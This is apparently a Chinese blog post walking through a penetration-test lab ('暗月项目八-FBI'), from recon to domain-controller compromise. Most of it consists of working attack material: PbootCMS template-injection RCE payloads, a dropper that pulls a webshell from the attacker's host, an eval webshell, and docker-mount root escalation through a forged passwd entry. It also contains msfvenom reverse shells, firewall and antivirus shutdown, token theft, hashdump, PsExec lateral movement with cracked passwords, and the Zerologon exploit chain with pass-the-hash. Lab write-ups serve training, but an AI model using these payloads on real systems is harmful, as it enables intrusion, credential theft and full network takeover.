暗月项目八-FBI

descript

descript

渗透过程概述:

1、信息收集-->登录后台getshell

通过ChangeLog.txt查看cms版本,gobuster扫描tar.gz备份文件或者扫描php~隐藏文件(隐藏文件不被解析,可获得源码),获取database.php里的db配置路径。下载db,破解密码hash,登陆后台。利用file_put_contents函数,绕过宝塔disable_functions。二次利用file_put_contents,访问首页生成3.php,访问3.php从kali下载shell,并写入到web1,生成shell.php。

2、docker挂载提权

蚁剑虚拟终端无权限,上传大马exploit.php,cat home/cf1下的私钥,复制私钥内容到kali,ssh 连接cf1。groups发现docker,通过挂载提权。创建用户并添加到passwd。su moonsec得到root权限用户。

3、内网渗透-->横向移动-->zerologon打穿域控

利用目录穿越漏洞,上传压缩文件,并解压到网站根目录,否则无权限访问shell。访问shell.jsp,msf监听到jsp_shell_reverse_tcp的连接,得到会话。上传免杀r.exe压缩包并解压,通过jsp_shell的会话执行,使web2上线msf,得到meterpreter。

尽早关闭杀软和防火墙。copy r2.exe \\10.10.1.128\c$\ web2设置端口转发,因为file sever和web2账号密码一样,使用PsExec.exe 先关闭file server防火墙,另开一个msf,PsExec.exe \\10.10.1.128 -u administrator -p QWEasd123 -i c:/r2.exe 使file sever上线msf,提权。

CVE-2020-1472:NetLogon 先 set_empty_pw.py 把域控密码打空,再 secretsdump.py dump hash,最后 smbexec.py 登陆域控


1、信息收集

1.1 masscan+nmap 扫描端口

masscan -p 1-65535 --rate=1000 192.168.1.121

nmap -sC -sV -A -O -Pn 192.168.1.121 -p 21,80,888,3306

descript

descript

1.2 查看cms 版本

cms的渗透思路:

确定cms版本,查看升级说明,特别是漏洞公告,然后进行文件对比,定位漏洞,分析漏洞与补丁

下载一份pboot cms,查看changelog.txt,确定版本。

http://www.cf1.com/doc/ChangeLog.txt

descript

1.3 目录、文件扫描,下载db数据库

(以下两种方法,感觉是作者有意为之。否则没有密码进不去后台,因为只有一个漏洞且在后台)

1.3.1 第一种: 扫描 php和备份文件

gobuster dir -u http://www.cf1.com -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -x 'php,tar.gz' -t 500

备份文件:

http://www.cf1.com/config.tar.gz 下载备份文件,根据里面的配置路径,下载db

descript

1.3.2 第二种:扫描子目录下的隐藏文件,隐藏文件不会被解析,访问可得到源码

gobuster dir -u http://www.cf1.com/config -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -x 'php,php~' -t 500

descript

 http://www.cf1.com/config/database.php~ 访问看到源码,获取db路径,可下载db

 http://www.cf1.com/data/c6613b090db86e60916afb3af6f923d2.db 下载为 cf1.db

descript

2、漏洞挖掘

2.1 解密 密码,登陆后台

sqlitebrowser cf1.db  浏览数据库

ay_user 表:

admin 8187bef2c0b83e6b0b747d92b0a65eb1

解密:admin admin7788

登陆后台 http://www.cf1.com/admin.php

3、漏洞利用【后台getshell,绕过宝塔disable_functions限制】

3.1 漏洞信息收集,定位漏洞点,构造payload

利用 php7-backtrace-bypass https://github.com/mm0r1/exploit

宝塔禁止了 system函数,phpstudy可以执行成功

cms 漏洞利用,只有一个漏洞且在后台:

https://github.com/huike007/poc/blob/master/books/%E4%BB%8EPbootCMS(2.0.3&2.0.7%E5%89%8D%E5%8F%B0RCE+2.0.8%E5%90%8E%E5%8F%B0RCE)%E5%AE%A1%E8%AE%A1%E5%88%B0%E6%9F%90%E7%8B%97%E7%BB%95%E8%BF%87.pdf

基础内容-》站点信息-》站点描述 (payload 如下):

poc1:

{pboot:if(implode('', ['c','a','l','l','_','u','s','e','r','_','f','u','n','c'])(implode('', ['s','y','s','t','e','m']),implode('',['w','h','o','a','m','i'])))}{/pboot:if}

poc2:

{pboot:if(implode('', ['c','a','l','l','_','u','s','e','r','_','f','u','n','c'])(implode('', ['p','h','p','i','n','f','o'])))}{/pboot:if}

exp:

{pboot:if(implode('',['file_','put','_contents'])(implode('',['3','.php']), implode('',['<?php file_','put_','contents(','"shell.php",','file','_get_','contents("','http://192.168.1.102/shell.txt"))?>'])))}!!!{/pboot:if}

3.2 复制exp到站点描述,提交。访问首页,生成3.php

http://www.cf1.com/3.php

<?php file_put_contents("shell.php",file_get_contents("http://192.168.1.102/shell.txt"))?>

3.3 访问3.php,执行下载shell内容到shell.php

http://www.cf1.com/shell.php cmd

<?php @eval($_POST['cmd']);?>

3.4 蚁剑连接shell,发现禁用了虚拟终端,上传大马exploit.php

descript

 http://www.cf1.com/exploit.php

descript

4、提权【利用docker提权】

4.1 信息收集,发现用户私钥,kali ssh私钥连接web1

4.1.1 发现用户私钥,利用大马exploit.php读取id_rsa私钥

cat /etc/passwd  发现用户cf1

ls /home/cf1  发现私钥

cat /home/cf1/id_rsa

descript

descript

4.1.2 复制私钥内容并保存到kali,ssh 私钥连接web1

chmod 600 id_rsa 设置权限,不能太高,否则连不上

ssh -i id_rsa cf1@192.168.1.121

descript

4.1.3 发现groups 组里有docker。因为docker权限比较高,适合提权

4.2 docker 挂载提权

【如果web1不能下载docker镜像,从其他系统下载后,经过kali导入】

sudo apt install docker ------安装docker

sudo service docker start/restart ------启动/重启docker服务

sudo docker images -----查看有哪些镜像

sudo docker search alpine ------alpine最小的镜像

sudo docker pull alpine ------拉取镜像

sudo docker save alpine > alpine.tar -------保存镜像,并复制到kali

wget http://192.168.1.102/alpine.tar --------从kali下载镜像

docker load < alpine.tar ------加载镜像

4.2.1 第一步: docker run -v /etc:/mnt -it alpine  -it: 以交互模式运行启动容器

并且将宿主局 /etc 挂载到 /mnt目录,访问mnt目录等于访问宿主机etc目录。

一定要先cmd /mnt 。mnt的同级目录是容器目录,特别注意etc

【cd /mnt、 id、 cat passwd】

descript

 4.2.2 第二步:创建新用户,并添加到passwd

openssl passwd -1 -salt moonsec

Password: 123456

$1$moonsec$Zo8rbBypEa7Gt6vL8qy841

vi passwd 【添加到 passwd (ps:root:x:0:0:root:/root:/bin/bash)】

moonsec:$1$moonsec$Zo8rbBypEa7Gt6vL8qy841:0:0::/root:/bin/bash

exit --- 退出挂载

su moonsec ---切换到新用户,web1提权成功

descript

5、内网渗透【web2渗透】

5.1 信息收集

5.1.1 主机发现

nmap -sn 192.168.1.0/24

descript

5.1.2 masscan+nmap 端口扫描

masscan -p 1-65535 --rate=1000 192.168.1.124

nmap -sC -sV -A -O -Pn 192.168.1.124 -p 135,139,445,8009,8080

5.2 漏洞挖掘【后台弱口令】

http://192.168.1.124:8080 -------首页底部 有 登陆后台 链接

http://192.168.1.124:8080/cmscp/index.do ----- admin 123456 弱口令登陆后台

5.3 漏洞利用getshell【利用目录穿越漏洞,后台上传压缩文件,解压getshell】

https://www.freebuf.com/articles/others-articles/229928.html 参考

文件管理-》上传文件-》zip解压 (如果点击上传zip,则自动解压,不可控)

利用目录穿越漏洞,上传压缩文件,并解压到网站根目录,否则无权限访问shell。

5.3.1 msf生成shell,利用test5.py,创建具有 目录穿越功能的test5.zip

msfvenom -p java/jsp_shell_reverse_tcp lhost=192.168.1.102 lport=12346 -f raw > shell.jsp

创建 jsp shell,过杀软。msf监听,等待反向连接

descript

python test5.py -----创建test5.zip

find / -name cmd.war

jar cvf shell.war shell.jsp -----shell.war

-------- 好压打开test5.zip,将cmd.war和shell.war拖入压缩包

descript

5.3.2 上传test5.zip,zip解压,访问shell.jsp,上线msf

利用目录穿越漏洞,解压到网站根目录

descript

descript

http://192.168.1.124:8080/shell/shell.jsp 访问,上线msf

descript

descript

5.4 提权

5.4.1 关闭防火墙,制作免杀后门

netsh advfirewall set allprofiles state off

netsh advfirewall show allprofiles

制作免杀后门:

msfvenom -p windows/meterpreter/reverse_tcp lhost=192.168.1.102 lport=12345 -e x86/shikata_ga_nai -i 13 -f csharp > payload.txt

descript

5.4.2 后台上传免杀r.exe的压缩包r.zip,zip解压

因为此压缩包不具备目录穿越功能,所以解压到当前文件夹 \ROOT\uploads\1

descript

 

5.4.3 利用shell.jsp的会话,执行r.exe,使web2再次上线msf

cd C:\tomcat\webapps\ROOT\uploads\1

descript

descript

5.4.4 提权,获取密码hash

meterpreter > getsystem

meterpreter > migrate 1976

meterpreter > hashdump

descript

meterpreter > load kiwi

meterpreter > creds_all ------获取明文密码失败

42e2656ec24331269f82160ff5962387 -------解密:QWEasd123

descript

5.4.5 开启3389端口,登陆远程桌面,关闭杀软

meterpreter > run getgui -e

或者:

meterpreter > run post/windows/manage/enable_rdp  ---开启远程桌面

mstsc 登陆远程桌面,关闭杀软

(kali rdesktop 192.168.1.124 ------不好使)

web2:192.168.1.124 10.10.1.129

6、横向移动【file server渗透】

6.1 添加路由,主机发现,信息收集

6.1.1主机发现

第一种:meterpreter > arp

descript

第二种:meterpreter > run arp_scanner -r 10.10.1.0/24

descript

6.1.2端口扫描

meterpreter > run post/multi/manage/autoroute

msf6 auxiliary(scanner/portscan/tcp) > set rhosts 10.10.1.128

descript

6.2 PsExec.exe 利用工具,上线msf

上传后门r2.exe到file server,反向连接到web2,由web2端口转发到kali

6.2.1 窃取TOMCAT-WEB\Administrator令牌,可访问file server

meterpreter > steal_token 6332  令牌窃取

C:\Windows\system32>dir \\10.10.1.128\c$

descript

6.2.2 web2设置端口转发

windows自带的端口转发:

【netsh interface portproxy add v4tov4 listenport=监听端口 connectaddress=转发到的地址 connectport=转发到的端口】

------添加端口转发

netsh interface portproxy add v4tov4 listenport=7788 connectaddress=192.168.1.102 connectport=12345

------添加转发规则到防火墙,防止转发不出来

netsh advfirewall firewall add rule name ="7788" dir=in localport=7788 protocol=tcp action=allow

------查看转发的端口

netsh interface portproxy show all

------删除转发规则

netsh interface portproxy delete v4tov4 listenaddress=* listenport=7788 protocol=tcp

descript

6.2.3 msf 生成反向连接web2的后门

msfvenom -p windows/meterpreter/reverse_tcp lhost=10.10.1.129 lport=7788 -f exe >r2.exe

6.2.4 使用工具PsExec.exe

第一步:关闭file server防火墙

PsExec.exe \\10.10.1.128 -u administrator -p QWEasd123 -i netsh advfirewall set allprofiles state off

第二步: 上传后门r2.exe到file server

C:\>copy r2.exe \\10.10.1.128\c$\

descript

第三步:另开一个msf,执行后门,监听file server的连接

PsExec.exe \\10.10.1.128 -u administrator -p QWEasd123 -i c:/r2.exe

因为file server账号密码和web2一样。这里用的都是web2的账号信息

反向连接到web2,由web2端口转发到kali,上线msf

(不另开msf,监听不到。不确定是不是和路由表、代理有关)

descript

6.3 提权到system

descript

descript

hash 解密:QWEasd123

6.4 使用 smbexec.py 代替 PsExec.exe

proxychains python3 smbexec.py -hashes aad3b435b51404eeaad3b435b51404ee:42e2656ec24331269f82160ff5962387 administrator@10.10.1.128

6、横向移动【dc渗透】

工具:zerologon、impacket

6.1 信息收集

6.1.1 file server先令牌窃取到域用户,收集域控信息

meterpreter > steal_token 2544

meterpreter > run post/windows/gather/enum_domain

descript

6.1.2 定位域控

nslookup -type=SRV _ldap._tcp 【 fbi.gov 】

meterpreter > arp

dc: 10.10.10.139

descript

6.1.3 添加路由,设置代理,扫描dc端口

meterpreter > run post/multi/manage/autoroute

msf6 exploit(multi/handler) > use auxiliary/server/socks_proxy

proxychains nmap -sT -Pn 10.10.10.139

descript

6.2 CVE-2020-1472:NetLogon打穿域控

6.2.1 使用 set_empty_pw.py 将域控密码打空

cd ./zerologon-master

proxychains python3 set_empty_pw.py dc 10.10.10.139

6.2.2 使用 secretsdump.py dump hash

cd ./impacket-master/examples

proxychains python3 secretsdump.py 'fbi/dc$@10.10.10.139' -hashes :

注意 -hashes和冒号中间有个空格

descript

Administrator:500:aad3b435b51404eeaad3b435b51404ee:669a3273144a82b942377c1001ed03a3:::

【username:RID:LM:NTLM】

LM-Hash(LAN Manager Hash)是微软的一种散列加密算法,本质为DES加密,具体原理参考LM-Hash && NTLM-Hash。当LM Hash是AAD3B435B51404EEAAD3B435B51404EE 这表示空密码或者是未使用LM_HASH。因为从Windows Server 2008版本开始,系统禁用了LM hash。

6.2.3 使用 smbexec.py 登陆域控,获取会话

【proxychains python3 smbexec.py -hashes LM:NTLM administrator@10.10.10.139】

   proxychains python3 smbexec.py -hashes aad3b435b51404eeaad3b435b51404ee:669a3273144a82b942377c1001ed03a3 administrator@10.10.10.139

descript

7、权限维持

8、痕迹清理

9、总结

posted @ 2023-03-23 13:43  hello_bao  阅读(518)  评论(0)    收藏  举报